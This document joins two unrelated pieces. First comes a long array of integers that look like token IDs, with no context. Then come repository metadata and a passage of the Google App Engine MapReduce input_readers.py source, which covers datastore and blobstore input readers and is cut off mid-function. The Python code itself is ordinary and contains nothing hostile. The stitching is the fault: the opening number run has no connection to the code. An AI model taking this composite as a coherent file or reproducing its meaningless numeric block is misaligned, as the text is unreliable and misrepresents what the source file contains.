14, 1018, 358, 272, 925, 2225, 13, 12708, 13, 513, 14, 72, 334, 578, 283, 1018, 735, 700, 19, 447, 11120, 447, 2081, 359, 1820, 61, 272, 859, 14, 525, 63, 533, 360, 2081, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1018, 297, 6890, 63, 533, 29, 1231, 63, 578, 459, 561, 19, 447, 11120, 1105, 272, 925, 3335, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 3299, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 3299, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 3335, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 3299, 447, 3585, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 3585, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 297, 6890, 63, 533, 29, 1231, 63, 578, 459, 561, 19, 447, 3299, 1105, 272, 925, 3644, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 14420, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 14420, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 3644, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 14420, 447, 2081, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 2081, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 297, 6890, 63, 533, 29, 1231, 63, 578, 459, 561, 19, 447, 14420, 1105, 272, 925, 3696, 13, 1450, 13, 513, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 10499, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 10499, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 3696, 13, 1450, 13, 513, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 10499, 447, 3585, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 3585, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 297, 6890, 63, 533, 29, 1231, 63, 578, 459, 561, 19, 447, 10499, 1105, 272, 925, 3696, 13, 1450, 13, 513, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 10499, 447, 3585, 447, 2081, 359, 1820, 61, 272, 859, 14, 525, 63, 533, 360, 2081, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 297, 6890, 63, 533, 29, 1231, 63, 578, 459, 561, 19, 447, 10499, 447, 3585, 1105, 272, 925, 3233, 14, 72, 334, 578, 283, 1018, 735, 700, 19, 447, 9822, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 9822, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1018, 358, 272, 925, 2656, 13, 19078, 14, 72, 334, 578, 283, 1018, 735, 700, 19, 447, 27677, 8660, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 27677, 8660, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1018, 358, 272, 925, 666, 13, 1866, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 20390, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 20390, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 1566, 13, 344, 14, 72, 334, 578, 283, 1018, 735, 700, 19, 447, 12534, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 12534, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1018, 358, 272, 925, 2631, 14, 72, 334, 578, 283, 1018, 735, 700, 19, 447, 13415, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 13415, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1018, 358, 272, 925, 3278, 20, 13, 1562, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 1762, 20, 1476, 359, 533, 61, 272, 859, 14, 525, 63, 533, 360, 1762, 20, 1476, 297, 492, 63, 504, 63, 578, 534, 561, 14, 1200, 358, 272, 925, 3278, 20, 13, 1562, 14, 72, 334, 578, 283, 1200, 735, 700, 19, 447, 1762, 20, 1476, 359, 533, 61, 272, 1738, 63, 578, 459, 561, 19, 447, 1762, 20,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
dbremner/bite-project
deps/mrtaskman/server/mapreduce/input_readers.py
17
70094
#!/usr/bin/env python # # Copyright 2010 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Defines input readers for MapReduce.""" __all__ = [ "AbstractDatastoreInputReader", "ALLOW_CHECKPOINT", "BadReaderParamsError", "BlobstoreLineInputReader", "BlobstoreZipInputReader", "BlobstoreZipLineInputReader", "COUNTER_IO_READ_BYTES", "COUNTER_IO_READ_MSEC", "ConsistentKeyReader", "DatastoreEntityInputReader", "DatastoreInputReader", "DatastoreKeyInputReader", "Error", "InputReader", "LogInputReader", "NamespaceInputReader", "RecordsReader", ] # pylint: disable-msg=C6409 import base64 import copy import logging import StringIO import time import zipfile from google.net.proto import ProtocolBuffer from google.appengine.api import datastore from mapreduce.lib import files from google.appengine.api import logservice from mapreduce.lib.files import records from google.appengine.api.logservice import log_service_pb from google.appengine.datastore import datastore_query from google.appengine.datastore import datastore_rpc from google.appengine.ext import blobstore from google.appengine.ext import db from mapreduce.lib import key_range from google.appengine.ext.db import metadata from mapreduce import context from mapreduce import errors from mapreduce import model from mapreduce import namespace_range from mapreduce import operation from mapreduce import util # Classes moved to errors module. Copied here for compatibility. Error = errors.Error BadReaderParamsError = errors.BadReaderParamsError # Counter name for number of bytes read. COUNTER_IO_READ_BYTES = "io-read-bytes" # Counter name for milliseconds spent reading data. COUNTER_IO_READ_MSEC = "io-read-msec" # Special value that can be yielded by InputReaders if they want to give the # framework an opportunity to save the state of the mapreduce without having # to yield an actual value to the handler. ALLOW_CHECKPOINT = object() class InputReader(model.JsonMixin): """Abstract base class for input readers. InputReaders have the following properties: * They are created by using the split_input method to generate a set of InputReaders from a MapperSpec. * They generate inputs to the mapper via the iterator interface. * After creation, they can be serialized and resumed using the JsonMixin interface. * They are cast to string for a user-readable description; it may be valuable to implement __str__. """ # When expand_parameters is False, then value yielded by reader is passed # to handler as is. If it's true, then *value is passed, expanding arguments # and letting handler be a multi-parameter function. expand_parameters = False # Mapreduce parameters. _APP_PARAM = "_app" NAMESPACE_PARAM = "namespace" NAMESPACES_PARAM = "namespaces" # Obsolete. def __iter__(self): return self def next(self): """Returns the next input from this input reader as a key, value pair. Returns: The next input from this input reader. """ raise NotImplementedError("next() not implemented in %s" % self.__class__) @classmethod def from_json(cls, input_shard_state): """Creates an instance of the InputReader for the given input shard state. Args: input_shard_state: The InputReader state as a dict-like object. Returns: An instance of the InputReader configured using the values of json. """ raise NotImplementedError("from_json() not implemented in %s" % cls) def to_json(self): """Returns an input shard state for the remaining inputs. Returns: A json-izable version of the remaining InputReader. """ raise NotImplementedError("to_json() not implemented in %s" % self.__class__) @classmethod def split_input(cls, mapper_spec): """Returns a list of input readers for the input spec. Args: mapper_spec: The MapperSpec for this InputReader. Returns: A list of InputReaders. """ raise NotImplementedError("split_input() not implemented in %s" % cls) @classmethod def validate(cls, mapper_spec): """Validates mapper spec and all mapper parameters. Input reader parameters are expected to be passed as "input_reader" subdictionary of mapper_spec.params. To be compatible with previous API input reader is advised to check mapper_spec.params and issue a warning if "input_reader" subdicationary is not present. _get_params helper method can be used to simplify implementation. Args: mapper_spec: The MapperSpec for this InputReader. Raises: BadReaderParamsError: required parameters are missing or invalid. """ raise NotImplementedError("validate() not implemented in %s" % cls) def _get_params(mapper_spec, allowed_keys=None): """Obtain input reader parameters. Utility function for input readers implementation. Fetches parameters from mapreduce specification giving appropriate usage warnings. Args: mapper_spec: The MapperSpec for the job allowed_keys: set of all allowed keys in parameters as strings. If it is not None, then parameters are expected to be in a separate "input_reader" subdictionary of mapper_spec parameters. Returns: mapper parameters as dict Raises: BadReaderParamsError: if parameters are invalid/missing or not allowed. """ if "input_reader" not in mapper_spec.params: message = ("Input reader's parameters should be specified in " "input_reader subdictionary.") if allowed_keys: raise errors.BadReaderParamsError(message) else: logging.warning(message) params = mapper_spec.params params = dict((str(n), v) for n, v in params.iteritems()) else: if not isinstance(mapper_spec.params.get("input_reader"), dict): raise BadReaderParamsError( "Input reader parameters should be a dictionary") params = mapper_spec.params.get("input_reader") params = dict((str(n), v) for n, v in params.iteritems()) if allowed_keys: params_diff = set(params.keys()) - allowed_keys if params_diff: raise errors.BadReaderParamsError( "Invalid input_reader parameters: %s" % ",".join(params_diff)) return params # TODO(user): This should probably be renamed something like # "DatastoreInputReader" and DatastoreInputReader should be called # "DatastoreModelReader". class AbstractDatastoreInputReader(InputReader): """Abstract base class for classes that iterate over datastore entities. Concrete subclasses must implement _iter_key_range(self, k_range). See the docstring for that method for details. """ # Number of entities to fetch at once while doing scanning. _BATCH_SIZE = 50 # Maximum number of shards we'll create. _MAX_SHARD_COUNT = 256 # __scatter__ oversampling factor _OVERSAMPLING_FACTOR = 32 # The maximum number of namespaces that will be sharded by datastore key # before switching to a strategy where sharding is done lexographically by # namespace. MAX_NAMESPACES_FOR_KEY_SHARD = 10 # Mapreduce parameters. ENTITY_KIND_PARAM = "entity_kind" KEYS_ONLY_PARAM = "keys_only" BATCH_SIZE_PARAM = "batch_size" KEY_RANGE_PARAM = "key_range" NAMESPACE_RANGE_PARAM = "namespace_range" CURRENT_KEY_RANGE_PARAM = "current_key_range" # TODO(user): Add support for arbitrary queries. It's not possible to # support them without cursors since right now you can't even serialize query # definition. def __init__(self, entity_kind, key_ranges=None, ns_range=None, batch_size=_BATCH_SIZE, current_key_range=None): """Create new AbstractDatastoreInputReader object. This is internal constructor. Use split_query in a concrete class instead. Args: entity_kind: entity kind as string. key_ranges: a sequence of key_range.KeyRange instances to process. Only one of key_ranges or ns_range can be non-None. ns_range: a namespace_range.NamespaceRange to process. Only one of key_ranges or ns_range can be non-None. batch_size: size of read batch as int. current_key_range: the current key_range.KeyRange being processed. """ assert key_ranges is not None or ns_range is not None, ( "must specify one of 'key_ranges' or 'ns_range'") assert key_ranges is None or ns_range is None, ( "can't specify both 'key_ranges ' and 'ns_range'") self._entity_kind = entity_kind # Reverse the KeyRanges so they can be processed in order as a stack of # work items. self._key_ranges = key_ranges and list(reversed(key_ranges)) self._ns_range = ns_range self._batch_size = int(batch_size) self._current_key_range = current_key_range @classmethod def _get_raw_entity_kind(cls, entity_kind): if "." in entity_kind: logging.warning( ". detected in entity kind %s specified for reader %s." "Assuming entity kind contains the dot.", entity_kind, cls.__name__) return entity_kind def __iter__(self): """Iterates over the given KeyRanges or NamespaceRange. This method iterates over the given KeyRanges or NamespaceRange and sets the self._current_key_range to the KeyRange currently being processed. It then delegates to the _iter_key_range method to yield that actual results. Yields: Forwards the objects yielded by the subclasses concrete _iter_key_range() method. The caller must consume the result yielded because self.to_json() will not include it. """ if self._key_ranges is not None: for o in self._iter_key_ranges(): yield o elif self._ns_range is not None: for o in self._iter_ns_range(): yield o else: assert False, "self._key_ranges and self._ns_range are both None" def _iter_key_ranges(self): """Iterates over self._key_ranges, delegating to self._iter_key_range().""" while True: if self._current_key_range is None: if self._key_ranges: self._current_key_range = self._key_ranges.pop() # The most recently popped key_range may be None, so continue here # to find the next keyrange that's valid. continue else: break for key, o in self._iter_key_range( copy.deepcopy(self._current_key_range)): # The caller must consume yielded values so advancing the KeyRange # before yielding is safe. self._current_key_range.advance(key) yield o self._current_key_range = None def _iter_ns_range(self): """Iterates over self._ns_range, delegating to self._iter_key_range().""" while True: if self._current_key_range is None: query = self._ns_range.make_datastore_query() namespace_result = query.Get(1) if not namespace_result: break namespace = namespace_result[0].name() or "" self._current_key_range = key_range.KeyRange( namespace=namespace, _app=self._ns_range.app) yield ALLOW_CHECKPOINT for key, o in self._iter_key_range( copy.deepcopy(self._current_key_range)): # The caller must consume yielded values so advancing the KeyRange # before yielding is safe. self._current_key_range.advance(key) yield o if (self._ns_range.is_single_namespace or self._current_key_range.namespace == self._ns_range.namespace_end): break self._ns_range = self._ns_range.with_start_after( self._current_key_range.namespace) self._current_key_range = None def _iter_key_range(self, k_range): """Yields a db.Key and the value that should be yielded by self.__iter__(). Args: k_range: The key_range.KeyRange to iterate over. Yields: A 2-tuple containing the last db.Key processed and the value that should be yielded by __iter__. The returned db.Key will be used to determine the InputReader's current position in self._current_key_range. """ raise NotImplementedError("_iter_key_range() not implemented in %s" % self.__class__) def __str__(self): """Returns the string representation of this InputReader.""" if self._ns_range is None: return repr(self._key_ranges) else: return repr(self._ns_range) @classmethod def _choose_split_points(cls, sorted_keys, shard_count): """Returns the best split points given a random set of db.Keys.""" assert len(sorted_keys) >= shard_count index_stride = len(sorted_keys) / float(shard_count) return [sorted_keys[int(round(index_stride * i))] for i in range(1, shard_count)] # TODO(user): use query splitting functionality when it becomes available # instead. @classmethod def _split_input_from_namespace(cls, app, namespace, entity_kind, shard_count): """Return KeyRange objects. Helper for _split_input_from_params. If there are not enough Entities to make all of the given shards, the returned list of KeyRanges will include Nones. The returned list will contain KeyRanges ordered lexographically with any Nones appearing at the end. """ raw_entity_kind = cls._get_raw_entity_kind(entity_kind) if shard_count == 1: # With one shard we don't need to calculate any splitpoints at all. return [key_range.KeyRange(namespace=namespace, _app=app)] # we use datastore.Query instead of ext.db.Query here, because we can't # erase ordering on db.Query once we set it. ds_query = datastore.Query(kind=raw_entity_kind, namespace=namespace, _app=app, keys_only=True) ds_query.Order("__scatter__") random_keys = ds_query.Get(shard_count * cls._OVERSAMPLING_FACTOR) if not random_keys: # There are no entities with scatter property. We have no idea # how to split. return ([key_range.KeyRange(namespace=namespace, _app=app)] + [None] * (shard_count - 1)) random_keys.sort() if len(random_keys) >= shard_count: # We've got a lot of scatter values. Sample them down. random_keys = cls._choose_split_points(random_keys, shard_count) key_ranges = [] key_ranges.append(key_range.KeyRange( key_start=None, key_end=random_keys[0], direction=key_range.KeyRange.ASC, include_start=False, include_end=False, namespace=namespace, _app=app)) for i in range(0, len(random_keys) - 1): key_ranges.append(key_range.KeyRange( key_start=random_keys[i], key_end=random_keys[i+1], direction=key_range.KeyRange.ASC, include_start=True, include_end=False, namespace=namespace, _app=app)) key_ranges.append(key_range.KeyRange( key_start=random_keys[-1], key_end=None, direction=key_range.KeyRange.ASC, include_start=True, include_end=False, namespace=namespace, _app=app)) if len(key_ranges) < shard_count: # We need to have as many shards as it was requested. Add some Nones. key_ranges = key_ranges + [None] * (shard_count - len(key_ranges)) return key_ranges @classmethod def _split_input_from_params(cls, app, namespaces, entity_kind_name, params, shard_count): """Return input reader objects. Helper for split_input.""" key_ranges = [] # KeyRanges for all namespaces for namespace in namespaces: key_ranges.extend( cls._split_input_from_namespace(app, namespace, entity_kind_name, shard_count)) # Divide the KeyRanges into shard_count shards. The KeyRanges for different # namespaces might be very different in size so the assignment of KeyRanges # to shards is done round-robin. shared_ranges = [[] for _ in range(shard_count)] for i, k_range in enumerate(key_ranges): shared_ranges[i % shard_count].append(k_range) batch_size = int(params.get(cls.BATCH_SIZE_PARAM, cls._BATCH_SIZE)) return [cls(entity_kind_name, key_ranges=key_ranges, ns_range=None, batch_size=batch_size) for key_ranges in shared_ranges if key_ranges] @classmethod def validate(cls, mapper_spec): """Validates mapper spec and all mapper parameters. Args: mapper_spec: The MapperSpec for this InputReader. Raises: BadReaderParamsError: required parameters are missing or invalid. """ if mapper_spec.input_reader_class() != cls: raise BadReaderParamsError("Input reader class mismatch") params = _get_params(mapper_spec) if cls.ENTITY_KIND_PARAM not in params: raise BadReaderParamsError("Missing mapper parameter 'entity_kind'") if cls.BATCH_SIZE_PARAM in params: try: batch_size = int(params[cls.BATCH_SIZE_PARAM]) if batch_size < 1: raise BadReaderParamsError("Bad batch size: %s" % batch_size) except ValueError, e: raise BadReaderParamsError("Bad batch size: %s" % e) if cls.NAMESPACE_PARAM in params: if not isinstance(params[cls.NAMESPACE_PARAM], (str, unicode, type(None))): raise BadReaderParamsError( "Expected a single namespace string") if cls.NAMESPACES_PARAM in params: raise BadReaderParamsError("Multiple namespaces are no longer supported") @classmethod def split_input(cls, mapper_spec): """Splits query into shards without fetching query results. Tries as best as it can to split the whole query result set into equal shards. Due to difficulty of making the perfect split, resulting shards' sizes might differ significantly from each other. Args: mapper_spec: MapperSpec with params containing 'entity_kind'. May have 'namespace' in the params as a string containing a single namespace. If specified then the input reader will only yield values in the given namespace. If 'namespace' is not given then values from all namespaces will be yielded. May also have 'batch_size' in the params to specify the number of entities to process in each batch. Returns: A list of InputReader objects. If the query results are empty then the empty list will be returned. Otherwise, the list will always have a length equal to number_of_shards but may be padded with Nones if there are too few results for effective sharding. """ params = _get_params(mapper_spec) entity_kind_name = params[cls.ENTITY_KIND_PARAM] batch_size = int(params.get(cls.BATCH_SIZE_PARAM, cls._BATCH_SIZE)) shard_count = mapper_spec.shard_count namespace = params.get(cls.NAMESPACE_PARAM) app = params.get(cls._APP_PARAM) if namespace is None: # It is difficult to efficiently shard large numbers of namespaces because # there can be an arbitrary number of them. So the strategy is: # 1. if there are a small number of namespaces in the datastore then # generate one KeyRange per namespace per shard and assign each shard a # KeyRange for every namespace. This should lead to nearly perfect # sharding. # 2. if there are a large number of namespaces in the datastore then # generate one NamespaceRange per worker. This can lead to very bad # sharding because namespaces can contain very different numbers of # entities and each NamespaceRange may contain very different numbers # of namespaces. namespace_query = datastore.Query("__namespace__", keys_only=True, _app=app) namespace_keys = namespace_query.Get( limit=cls.MAX_NAMESPACES_FOR_KEY_SHARD+1) if len(namespace_keys) > cls.MAX_NAMESPACES_FOR_KEY_SHARD: ns_ranges = namespace_range.NamespaceRange.split(n=shard_count, contiguous=True, _app=app) return [cls(entity_kind_name, key_ranges=None, ns_range=ns_range, batch_size=batch_size) for ns_range in ns_ranges] elif not namespace_keys: return [cls(entity_kind_name, key_ranges=None, ns_range=namespace_range.NamespaceRange(), batch_size=shard_count)] else: namespaces = [namespace_key.name() or "" for namespace_key in namespace_keys] else: namespaces = [namespace] return cls._split_input_from_params( app, namespaces, entity_kind_name, params, shard_count) def to_json(self): """Serializes all the data in this query range into json form. Returns: all the data in json-compatible map. """ if self._key_ranges is None: key_ranges_json = None else: key_ranges_json = [] for k in self._key_ranges: if k: key_ranges_json.append(k.to_json()) else: key_ranges_json.append(None) if self._ns_range is None: namespace_range_json = None else: namespace_range_json = self._ns_range.to_json_object() if self._current_key_range is None: current_key_range_json = None else: current_key_range_json = self._current_key_range.to_json() json_dict = {self.KEY_RANGE_PARAM: key_ranges_json, self.NAMESPACE_RANGE_PARAM: namespace_range_json, self.CURRENT_KEY_RANGE_PARAM: current_key_range_json, self.ENTITY_KIND_PARAM: self._entity_kind, self.BATCH_SIZE_PARAM: self._batch_size} return json_dict @classmethod def from_json(cls, json): """Create new DatastoreInputReader from the json, encoded by to_json. Args: json: json map representation of DatastoreInputReader. Returns: an instance of DatastoreInputReader with all data deserialized from json. """ if json[cls.KEY_RANGE_PARAM] is None: key_ranges = None else: key_ranges = [] for k in json[cls.KEY_RANGE_PARAM]: if k: key_ranges.append(key_range.KeyRange.from_json(k)) else: key_ranges.append(None) if json[cls.NAMESPACE_RANGE_PARAM] is None: ns_range = None else: ns_range = namespace_range.NamespaceRange.from_json_object( json[cls.NAMESPACE_RANGE_PARAM]) if json[cls.CURRENT_KEY_RANGE_PARAM] is None: current_key_range = None else: current_key_range = key_range.KeyRange.from_json( json[cls.CURRENT_KEY_RANGE_PARAM]) return cls( json[cls.ENTITY_KIND_PARAM], key_ranges, ns_range, json[cls.BATCH_SIZE_PARAM], current_key_range) class DatastoreInputReader(AbstractDatastoreInputReader): """Represents a range in query results. DatastoreInputReader yields model instances from the entities in a given key range. Iterating over DatastoreInputReader changes its range past consumed entries. The class shouldn't be instantiated directly. Use the split_input class method instead. """ def _iter_key_range(self, k_range): cursor = None while True: query = k_range.make_ascending_query( util.for_name(self._entity_kind)) if isinstance(query, db.Query): # Old db version. if cursor: query.with_cursor(cursor) results = query.fetch(limit=self._batch_size) if not results: break for model_instance in results: key = model_instance.key() yield key, model_instance cursor = query.cursor() else: # NDB version using fetch_page(). results, cursor, more = query.fetch_page(self._batch_size, start_cursor=cursor) for model_instance in results: key = model_instance.key yield key, model_instance if not more: break @classmethod def validate(cls, mapper_spec): """Validates mapper spec and all mapper parameters. Args: mapper_spec: The MapperSpec for this InputReader. Raises: BadReaderParamsError: required parameters are missing or invalid. """ super(DatastoreInputReader, cls).validate(mapper_spec) params = _get_params(mapper_spec) keys_only = util.parse_bool(params.get(cls.KEYS_ONLY_PARAM, False)) if keys_only: raise BadReaderParamsError("The keys_only parameter is obsolete. " "Use DatastoreKeyInputReader instead.") entity_kind_name = params[cls.ENTITY_KIND_PARAM] # Fail fast if Model cannot be located. try: util.for_name(entity_kind_name) except ImportError, e: raise BadReaderParamsError("Bad entity kind: %s" % e) @classmethod def _get_raw_entity_kind(cls, entity_kind): """Returns an entity kind to use with datastore calls.""" entity_type = util.for_name(entity_kind) if isinstance(entity_kind, db.Model): return entity_type.kind() else: return util.get_short_name(entity_kind) class DatastoreKeyInputReader(AbstractDatastoreInputReader): """An input reader which takes a Kind and yields Keys for that kind.""" def _iter_key_range(self, k_range): raw_entity_kind = self._get_raw_entity_kind(self._entity_kind) query = k_range.make_ascending_datastore_query( raw_entity_kind, keys_only=True) for key in query.Run( config=datastore_query.QueryOptions(batch_size=self._batch_size)): yield key, key class DatastoreEntityInputReader(AbstractDatastoreInputReader): """An input reader which yields low level datastore entities for a kind.""" def _iter_key_range(self, k_range): raw_entity_kind = self._get_raw_entity_kind(self._entity_kind) query = k_range.make_ascending_datastore_query( raw_entity_kind) for entity in query.Run( config=datastore_query.QueryOptions(batch_size=self._batch_size)): yield entity.key(), entity class BlobstoreLineInputReader(InputReader): """Input reader for a newline delimited blob in Blobstore.""" # TODO(user): Should we set this based on MAX_BLOB_FETCH_SIZE? _BLOB_BUFFER_SIZE = 64000 # Maximum number of shards to allow. _MAX_SHARD_COUNT = 256 # Maximum number of blobs to allow. _MAX_BLOB_KEYS_COUNT = 246 # Mapreduce parameters. BLOB_KEYS_PARAM = "blob_keys" # Serialization parmaeters. INITIAL_POSITION_PARAM = "initial_position" END_POSITION_PARAM = "end_position" BLOB_KEY_PARAM = "blob_key" def __init__(self, blob_key, start_position, end_position): """Initializes this instance with the given blob key and character range. This BlobstoreInputReader will read from the first record starting after strictly after start_position until the first record ending at or after end_position (exclusive). As an exception, if start_position is 0, then this InputReader starts reading at the first record. Args: blob_key: the BlobKey that this input reader is processing. start_position: the position to start reading at. end_position: a position in the last record to read. """ self._blob_key = blob_key self._blob_reader = blobstore.BlobReader(blob_key, self._BLOB_BUFFER_SIZE, start_position) self._end_position = end_position self._has_iterated = False self._read_before_start = bool(start_position) def next(self): """Returns the next input from as an (offset, line) tuple.""" self._has_iterated = True if self._read_before_start: self._blob_reader.readline() self._read_before_start = False start_position = self._blob_reader.tell() if start_position > self._end_position: raise StopIteration() line = self._blob_reader.readline() if not line: raise StopIteration() return start_position, line.rstrip("\n") def to_json(self): """Returns an json-compatible input shard spec for remaining inputs.""" new_pos = self._blob_reader.tell() if self._has_iterated: new_pos -= 1 return {self.BLOB_KEY_PARAM: self._blob_key, self.INITIAL_POSITION_PARAM: new_pos, self.END_POSITION_PARAM: self._end_position} def __str__(self): """Returns the string representation of this BlobstoreLineInputReader.""" return "blobstore.BlobKey(%r):[%d, %d]" % ( self._blob_key, self._blob_reader.tell(), self._end_position) @classmethod def from_json(cls, json): """Instantiates an instance of this InputReader for the given shard spec.""" return cls(json[cls.BLOB_KEY_PARAM], json[cls.INITIAL_POSITION_PARAM], json[cls.END_POSITION_PARAM]) @classmethod def validate(cls, mapper_spec): """Validates mapper spec and all mapper parameters. Args: mapper_spec: The MapperSpec for this InputReader. Raises: BadReaderParamsError: required parameters are missing or invalid. """ if mapper_spec.input_reader_class() != cls: raise BadReaderParamsError("Mapper input reader class mismatch") params = _get_params(mapper_spec) if cls.BLOB_KEYS_PARAM not in params: raise BadReaderParamsError("Must specify 'blob_keys' for mapper input") blob_keys = params[cls.BLOB_KEYS_PARAM] if isinstance(blob_keys, basestring): # This is a mechanism to allow multiple blob keys (which do not contain # commas) in a single string. It may go away. blob_keys = blob_keys.split(",") if len(blob_keys) > cls._MAX_BLOB_KEYS_COUNT: raise BadReaderParamsError("Too many 'blob_keys' for mapper input") if not blob_keys: raise BadReaderParamsError("No 'blob_keys' specified for mapper input") for blob_key in blob_keys: blob_info = blobstore.BlobInfo.get(blobstore.BlobKey(blob_key)) if not blob_info: raise BadReaderParamsError("Could not find blobinfo for key %s" % blob_key) @classmethod def split_input(cls, mapper_spec): """Returns a list of shard_count input_spec_shards for input_spec. Args: mapper_spec: The mapper specification to split from. Must contain 'blob_keys' parameter with one or more blob keys. Returns: A list of BlobstoreInputReaders corresponding to the specified shards. """ params = _get_params(mapper_spec) blob_keys = params[cls.BLOB_KEYS_PARAM] if isinstance(blob_keys, basestring): # This is a mechanism to allow multiple blob keys (which do not contain # commas) in a single string. It may go away. blob_keys = blob_keys.split(",") blob_sizes = {} for blob_key in blob_keys: blob_info = blobstore.BlobInfo.get(blobstore.BlobKey(blob_key)) blob_sizes[blob_key] = blob_info.size shard_count = min(cls._MAX_SHARD_COUNT, mapper_spec.shard_count) shards_per_blob = shard_count // len(blob_keys) if shards_per_blob == 0: shards_per_blob = 1 chunks = [] for blob_key, blob_size in blob_sizes.items(): blob_chunk_size = blob_size // shards_per_blob for i in xrange(shards_per_blob - 1): chunks.append(BlobstoreLineInputReader.from_json( {cls.BLOB_KEY_PARAM: blob_key, cls.INITIAL_POSITION_PARAM: blob_chunk_size * i, cls.END_POSITION_PARAM: blob_chunk_size * (i + 1)})) chunks.append(BlobstoreLineInputReader.from_json( {cls.BLOB_KEY_PARAM: blob_key, cls.INITIAL_POSITION_PARAM: blob_chunk_size * (shards_per_blob - 1), cls.END_POSITION_PARAM: blob_size})) return chunks class BlobstoreZipInputReader(InputReader): """Input reader for files from a zip archive stored in the Blobstore. Each instance of the reader will read the TOC, from the end of the zip file, and then only the contained files which it is responsible for. """ # Maximum number of shards to allow. _MAX_SHARD_COUNT = 256 # Mapreduce parameters. BLOB_KEY_PARAM = "blob_key" START_INDEX_PARAM = "start_index" END_INDEX_PARAM = "end_index" def __init__(self, blob_key, start_index, end_index, _reader=blobstore.BlobReader): """Initializes this instance with the given blob key and file range. This BlobstoreZipInputReader will read from the file with index start_index up to but not including the file with index end_index. Args: blob_key: the BlobKey that this input reader is processing. start_index: the index of the first file to read. end_index: the index of the first file that will not be read. _reader: a callable that returns a file-like object for reading blobs. Used for dependency injection. """ self._blob_key = blob_key self._start_index = start_index self._end_index = end_index self._reader = _reader self._zip = None self._entries = None def next(self): """Returns the next input from this input reader as (ZipInfo, opener) tuple. Returns: The next input from this input reader, in the form of a 2-tuple. The first element of the tuple is a zipfile.ZipInfo object. The second element of the tuple is a zero-argument function that, when called, returns the complete body of the file. """ if not self._zip: self._zip = zipfile.ZipFile(self._reader(self._blob_key)) # Get a list of entries, reversed so we can pop entries off in order self._entries = self._zip.infolist()[self._start_index:self._end_index] self._entries.reverse() if not self._entries: raise StopIteration() entry = self._entries.pop() self._start_index += 1 return (entry, lambda: self._read(entry)) def _read(self, entry): """Read entry content. Args: entry: zip file entry as zipfile.ZipInfo. Returns: Entry content as string. """ start_time = time.time() content = self._zip.read(entry.filename) ctx = context.get() if ctx: operation.counters.Increment(COUNTER_IO_READ_BYTES, len(content))(ctx) operation.counters.Increment( COUNTER_IO_READ_MSEC, int((time.time() - start_time) * 1000))(ctx) return content @classmethod def from_json(cls, json): """Creates an instance of the InputReader for the given input shard state. Args: json: The InputReader state as a dict-like object. Returns: An instance of the InputReader configured using the values of json. """ return cls(json[cls.BLOB_KEY_PARAM], json[cls.START_INDEX_PARAM], json[cls.END_INDEX_PARAM]) def to_json(self): """Returns an input shard state for the remaining inputs. Returns: A json-izable version of the remaining InputReader. """ return {self.BLOB_KEY_PARAM: self._blob_key, self.START_INDEX_PARAM: self._start_index, self.END_INDEX_PARAM: self._end_index} def __str__(self): """Returns the string representation of this BlobstoreZipInputReader.""" return "blobstore.BlobKey(%r):[%d, %d]" % ( self._blob_key, self._start_index, self._end_index) @classmethod def validate(cls, mapper_spec): """Validates mapper spec and all mapper parameters. Args: mapper_spec: The MapperSpec for this InputReader. Raises: BadReaderParamsError: required parameters are missing or invalid. """ if mapper_spec.input_reader_class() != cls: raise BadReaderParamsError("Mapper input reader class mismatch") params = _get_params(mapper_spec) if cls.BLOB_KEY_PARAM not in params: raise BadReaderParamsError("Must specify 'blob_key' for mapper input") blob_key = params[cls.BLOB_KEY_PARAM] blob_info = blobstore.BlobInfo.get(blobstore.BlobKey(blob_key)) if not blob_info: raise BadReaderParamsError("Could not find blobinfo for key %s" % blob_key) @classmethod def split_input(cls, mapper_spec, _reader=blobstore.BlobReader): """Returns a list of input shard states for the input spec. Args: mapper_spec: The MapperSpec for this InputReader. Must contain 'blob_key' parameter with one blob key. _reader: a callable that returns a file-like object for reading blobs. Used for dependency injection. Returns: A list of InputReaders spanning files within the zip. """ params = _get_params(mapper_spec) blob_key = params[cls.BLOB_KEY_PARAM] zip_input = zipfile.ZipFile(_reader(blob_key)) files = zip_input.infolist() total_size = sum(x.file_size for x in files) num_shards = min(mapper_spec.shard_count, cls._MAX_SHARD_COUNT) size_per_shard = total_size // num_shards # Break the list of files into sublists, each of approximately # size_per_shard bytes. 